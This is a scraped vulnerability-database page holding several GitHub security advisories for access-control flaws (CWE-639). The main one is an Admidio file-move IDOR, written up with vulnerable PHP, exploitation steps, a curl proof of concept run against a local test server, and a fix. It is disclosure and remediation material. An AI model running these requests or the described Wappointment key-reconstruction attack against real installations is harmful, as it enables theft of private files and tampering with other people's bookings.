      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47231"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:06:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`modules/documents-files.php` gates state-changing modes by checking that the actor has `hasUploadRight()` on the URL parameter `folder_uuid`. The `move_save` handler then operates on a *separate* URL parameter `file_uuid` and calls `File::moveToFolder($destFolderUUID)`. `File::moveToFolder()` checks the upload right on the **destination** folder but never on the **source** folder containing the file. As a result, any user who can upload to any single folder can move any file from any other folder \u2014 including private folders to which they have no view rights \u2014 into a folder they control, and then download it. Confidentiality is broken (private file contents leak) and integrity is broken (the file is removed from the original location).\n\n## Details\n\n### Vulnerable Code\n\n`modules/documents-files.php:79-89` \u2014 top-level rights check binds to URL `folder_uuid`:\n\n```php\nif ($getMode != \u0027list\u0027 \u0026\u0026 $getMode != \u0027download\u0027) {\n    // check the rights of the current folder\n    // user must be administrator or must have the right to upload files\n    $folder = new Folder($gDb);\n    $folder-\u003egetFolderForDownload($getFolderUUID);\n\n    if (!$folder-\u003ehasUploadRight()) {\n        $gMessage-\u003eshow($gL10n-\u003eget(\u0027SYS_NO_RIGHTS\u0027));\n        // =\u003e EXIT\n    }\n}\n```\n\n`modules/documents-files.php:187-204` \u2014 the `move_save` branch loads the file by UUID without revalidating the file\u0027s actual parent folder:\n\n```php\ncase \u0027move_save\u0027:\n    $documentsFilesMoveForm = $gCurrentSession-\u003egetFormObject($_POST[\u0027adm_csrf_token\u0027]);\n    $formValues = $documentsFilesMoveForm-\u003evalidate($_POST);\n\n    if ($getFileUUID !== \u0027\u0027) {\n        $file = new File($gDb);\n        $file-\u003ereadDataByUuid($getFileUUID);                       // \u003c-- no permission check on the file\u0027s source folder\n        $file-\u003emoveToFolder($formValues[\u0027adm_destination_folder_uuid\u0027]);\n    } else {\n        $folder = new Folder($gDb);\n        $folder-\u003ereadDataByUuid($getFolderUUID);\n        $folder-\u003emoveToFolder($formValues[\u0027adm_destination_folder_uuid\u0027]);\n    }\n\n    $gNavigation-\u003edeleteLastUrl();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027, \u0027url\u0027 =\u003e $gNavigation-\u003egetUrl()));\n    break;\n```\n\n`src/Documents/Entity/File.php:212-223` \u2014 `moveToFolder` checks only the destination:\n\n```php\npublic function moveToFolder(string $destFolderUUID)\n{\n    $folder = new Folder($this-\u003edb);\n    $folder-\u003ereadDataByUuid($destFolderUUID);\n\n    if ($folder-\u003ehasUploadRight()) {                               // \u003c-- destination only\n        FileSystemUtils::moveFile($this-\u003egetFullFilePath(),\n                                  $folder-\u003egetFullFolderPath() . \u0027/\u0027 . $this-\u003egetValue(\u0027fil_name\u0027));\n        $this-\u003esetValue(\u0027fil_fol_id\u0027, $folder-\u003egetValue(\u0027fol_id\u0027));\n        $this-\u003esave();\n    }\n}\n```\n\nThere is no check that the actor has any right (view, edit, upload) on the folder that *currently* contains the file. The `file_uuid` URL parameter is independent of `folder_uuid`, so an attacker can pass `folder_uuid=\u003ca folder I can upload to\u003e` together with `file_uuid=\u003ca file in a folder I cannot read\u003e`. The top-level rights check passes; the destination check passes; the file is moved.\n\n### Exploitation Primitive\n\n1. Attacker user `lowuser` holds `folder_upload` on a single Documents folder `public_uploadable` (UUID `c41a99c0-\u2026`). They have no view or edit rights on `private_admin_only` (UUID `db1f71b9-\u2026`, which is a role-restricted folder containing `private_to_delete.txt`, UUID `559ed352-\u2026`).\n2. Render the move form with mismatched UUIDs to register a form key in the session:\n   `GET /modules/documents-files.php?mode=move\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=559ed352-\u2026`\n3. Submit `move_save` with the same mismatch:\n   `POST /modules/documents-files.php?mode=move_save\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=559ed352-\u2026` with `adm_csrf_token=\u003cfrom step 2\u003e` and `adm_destination_folder_uuid=c41a99c0-\u2026`. Server replies `{\"status\":\"success\"}`. The `private_to_delete.txt` row in `adm_files` now has `fil_fol_id` pointing at the public-uploadable folder.\n4. Download the file from its new (publicly-accessible) location:\n   `GET /modules/documents-files.php?mode=download\u0026file_uuid=559ed352-\u2026` returns the bytes of `private_to_delete.txt`.\n\n## PoC\n\nTested live on HEAD `c5cde53`. The trace below is the agent-captured run; I verified the code paths against the source listed above.\n\n```\n# 0. starting state \u2014 lowuser has upload right ONLY on c41a99c0-\u2026 (public_uploadable)\n$ curl -sb $cookie http://127.0.0.1:8085/modules/documents-files.php?folder_uuid=db1f71b9-\u2026\n\"You do not have the required permission to perform this action.\"\n\n# 1. render the move form using the public folder UUID (where lowuser has upload right)\n#    paired with the PRIVATE file UUID\n$ curl -sb $cookie \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=move\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=559ed352-\u2026\"\n# form rendered, CSRF token X is now in session\n\n# 2. submit move_save with the same param mismatch\n$ curl -sb $cookie -X POST \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=move_save\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=559ed352-\u2026\" \\\n    -d \"adm_csrf_token=X\u0026adm_destination_folder_uuid=c41a99c0-\u2026\"\n{\"status\":\"success\", \"url\":\"\u2026\"}\n\n# 3. download the leaked file\n$ curl -sb $cookie \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=download\u0026file_uuid=559ed352-\u2026\"\nprivate_to_delete_data\n```\n\nThe DB record for the file now points at the attacker\u0027s folder (`fil_fol_id` updated), and the file has been physically moved on disk by `FileSystemUtils::moveFile`.\n\n## Impact\n\nAny user with `folder_upload` right on a single Documents folder gains:\n\n* **Read access** to every file in private folders \u2014 admin-only documents, board-only files, leader-only resources, role-restricted attachments \u2014 by moving them into a folder the attacker owns and then downloading.\n* **Write/destruction primitive** \u2014 the file is no longer in its original folder. Users who depended on the file at its legitimate location can no longer find it. The moved file\u0027s permissions are now those of the destination, so previously-restricted content can be exposed to other low-privilege users (whoever else has view rights on the destination folder).\n\nIn multi-tenant Admidio installations where one shared deployment hosts multiple groups (e.g., a federation of associations), the bug crosses organisation-internal Documents trust boundaries: a member of group A holding `folder_upload` on group A\u0027s public folder can lift any private file from group B.\n\n`PR:L` reflects that the actor must hold a single Documents upload right (a routinely-granted role attribute, not an administrator privilege). `S:U` because the impact stays inside the Documents module\u0027s own access-control model, but the access boundary it bypasses is the one that operators most rely on. `C:H` because confidentiality of any file in any private folder is broken; `I:H` because file location is mutated.\n\n## Recommended Fix\n\n`File::moveToFolder()` must check that the actor has upload right (or at least edit / move right) on the file\u0027s *source* folder, not just on the destination. The minimal patch:\n\n```php\n// src/Documents/Entity/File.php\npublic function moveToFolder(string $destFolderUUID)\n{\n    // re-read the source folder this file currently lives in, and check rights on it\n    $sourceFolder = new Folder($this-\u003edb);\n    $sourceFolder-\u003ereadData($this-\u003egetValue(\u0027fil_fol_id\u0027));\n    if (!$sourceFolder-\u003ehasUploadRight()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n\n    $destFolder = new Folder($this-\u003edb);\n    $destFolder-\u003ereadDataByUuid($destFolderUUID);\n\n    if (!$destFolder-\u003ehasUploadRight()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n\n    FileSystemUtils::moveFile($this-\u003egetFullFilePath(),\n                              $destFolder-\u003egetFullFolderPath() . \u0027/\u0027 . $this-\u003egetValue(\u0027fil_name\u0027));\n    $this-\u003esetValue(\u0027fil_fol_id\u0027, $destFolder-\u003egetValue(\u0027fol_id\u0027));\n    $this-\u003esave();\n}\n```\n\nEquivalently, `documents-files.php` `case \u0027move_save\u0027` should resolve the file\u0027s actual parent folder before the operation and call `getFileForDownload()` plus `hasUploadRight()` on that parent. The same fix is needed for `Folder::moveToFolder()` (the move-folder path is identical in shape).\n\nA regression test should:\n1. Create user `lowuser` with upload right only on folder A.\n2. Place a private file in folder B with no rights for `lowuser`.\n3. As `lowuser`, render `mode=move` with `folder_uuid=A\u0026file_uuid=\u003cB\u0027s file\u003e`, then `POST mode=move_save` with the same.\n4. Assert the response is `SYS_NO_RIGHTS` and the file\u0027s `fil_fol_id` is unchanged.\n\n## Related\n\n`mode=file_rename_save` shares the same root cause and is filed separately (`06-documents-cross-folder-rename-idor.md`); both bugs flow from the top-level rights check binding to URL `folder_uuid` rather than the file\u0027s actual parent.",
  "id": "GHSA-x628-457g-2pw9",
  "modified": "2026-05-29T22:06:49Z",
  "published": "2026-05-29T22:06:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-x628-457g-2pw9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders"
}

GHSA-X648-6H35-89X6

Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-20 18:31

Details

Authorization Bypass Through User-Controlled Key vulnerability in N-Media Frontend File Manager nmedia-user-file-uploader allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Frontend File Manager: from n/a through <= 23.5.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-25005"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-19T09:16:14Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in N-Media Frontend File Manager nmedia-user-file-uploader allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Frontend File Manager: from n/a through \u003c= 23.5.",
  "id": "GHSA-x648-6h35-89x6",
  "modified": "2026-02-20T18:31:27Z",
  "published": "2026-02-19T18:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25005"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/nmedia-user-file-uploader/vulnerability/wordpress-frontend-file-manager-plugin-23-5-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X67V-H94M-3PJ6

Vulnerability from github – Published: 2026-07-02 12:30 – Updated: 2026-07-02 12:30

Details

The Appointment Bookings for Zoom GoogleMeet and more – Wappointment plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to and including 2.7.6 via the appointmentkey parameter due to the appointment edit_key — the sole authorization token consumed by tryCancel() — being generated as a predictable, unsalted MD5 hash of only client_id (a sequential integer), start_at (a publicly observable appointment timestamp), and staff_id (a small enumerable integer), with no secret salt or random component, and the unauthenticated cancellation and rescheduling REST endpoints performing no ownership or identity verification beyond matching this reconstructible key. This makes it possible for unauthenticated attackers to compute valid edit_key values for appointments belonging to other users and cancel or reschedule those appointments arbitrarily. Exploitation requires the allow_cancellation or allow_rescheduling setting to be enabled on the site, both of which are common configurations for active booking deployments; an attacker can obtain the inputs needed to reconstruct a victim's key by booking their own appointment to observe their sequential client_id and correlating publicly visible appointment times and enumerable staff identifiers.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-9188"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T10:16:28Z",
    "severity": "MODERATE"
  },
  "details": "The Appointment Bookings for Zoom GoogleMeet and more \u2013 Wappointment plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to and including 2.7.6 via the `appointmentkey` parameter due to the appointment `edit_key` \u2014 the sole authorization token consumed by `tryCancel()` \u2014 being generated as a predictable, unsalted MD5 hash of only `client_id` (a sequential integer), `start_at` (a publicly observable appointment timestamp), and `staff_id` (a small enumerable integer), with no secret salt or random component, and the unauthenticated cancellation and rescheduling REST endpoints performing no ownership or identity verification beyond matching this reconstructible key. This makes it possible for unauthenticated attackers to compute valid `edit_key` values for appointments belonging to other users and cancel or reschedule those appointments arbitrarily. Exploitation requires the `allow_cancellation` or `allow_rescheduling` setting to be enabled on the site, both of which are common configurations for active booking deployments; an attacker can obtain the inputs needed to reconstruct a victim\u0027s key by booking their own appointment to observe their sequential `client_id` and correlating publicly visible appointment times and enumerable staff identifiers.",
  "id": "GHSA-x67v-h94m-3pj6",
  "modified": "2026-07-02T12:30:59Z",
  "published": "2026-07-02T12:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9188"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wappointment/tags/2.7.5/app/Models/Client.php#L39"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wappointment/tags/2.7.5/app/Services/AppointmentNew.php#L190"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wappointment/tags/2.7.5/app/Services/AppointmentNew.php#L347"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wappointment/tags/2.7.5/app/Services/AppointmentNew.php#L40"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wappointment/tags/2.7.6/app/Models/Client.php#L39"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wappointment/tags/2.7.6/app/Services/AppointmentNew.php#L190"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wappointment/tags/2.7.6/app/Services/AppointmentNew.php#L347"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wappointment/tags/2.7.6/app/Services/AppointmentNew.php#L40"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3546313%40wappointment\u0026new=3546313%40wappointment\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/07069f39-f892-4c19-8e0b-e5e17b1ffb21?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X697-98XP-H39F

Vulnerability from github – Published: 2025-04-13 12:30 – Updated: 2025-04-13 12:30

Details

A vulnerability was found in Tutorials-Website Employee Management System 1.0. It has been classified as critical. This affects an unknown part of the file /admin/update-user.php. The manipulation of the argument ID leads to improper authorization. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-3537"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-266",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-13T12:15:15Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in Tutorials-Website Employee Management System 1.0. It has been classified as critical. This affects an unknown part of the file /admin/update-user.php. The manipulation of the argument ID leads to improper authorization. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-x697-98xp-h39f",
  "modified": "2025-04-13T12:30:31Z",
  "published": "2025-04-13T12:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3537"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.304575"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.304575"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.545859"
    },
    {
      "type": "WEB",
      "url": "https://www.websecurityinsights.my.id/2025/03/tutorials-website-employee-management_28.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

CWE-639

Authorization Bypass Through User-Controlled Key

GHSA-X4M5-4CW8-VC44

Summary

Details

Impact

Solution

Remediation

Proof of Concept

GHSA-X4X7-V8WJ-3952

GHSA-X532-492Q-G257

GHSA-X5MV-X4W6-8RGW

GHSA-X5RW-QVVP-5CGM

Summary

Details

PoC

PoC via curl:

Impact

GHSA-X5V6-PJ28-CWWM

Summary

Details

PoC

Impact

GHSA-X628-457G-2PW9

Summary

Details

Vulnerable Code

Exploitation Primitive

PoC

Impact

Recommended Fix

Related

GHSA-X648-6H35-89X6

GHSA-X67V-H94M-3PJ6

GHSA-X697-98XP-H39F

Mitigation

Mitigation

Mitigation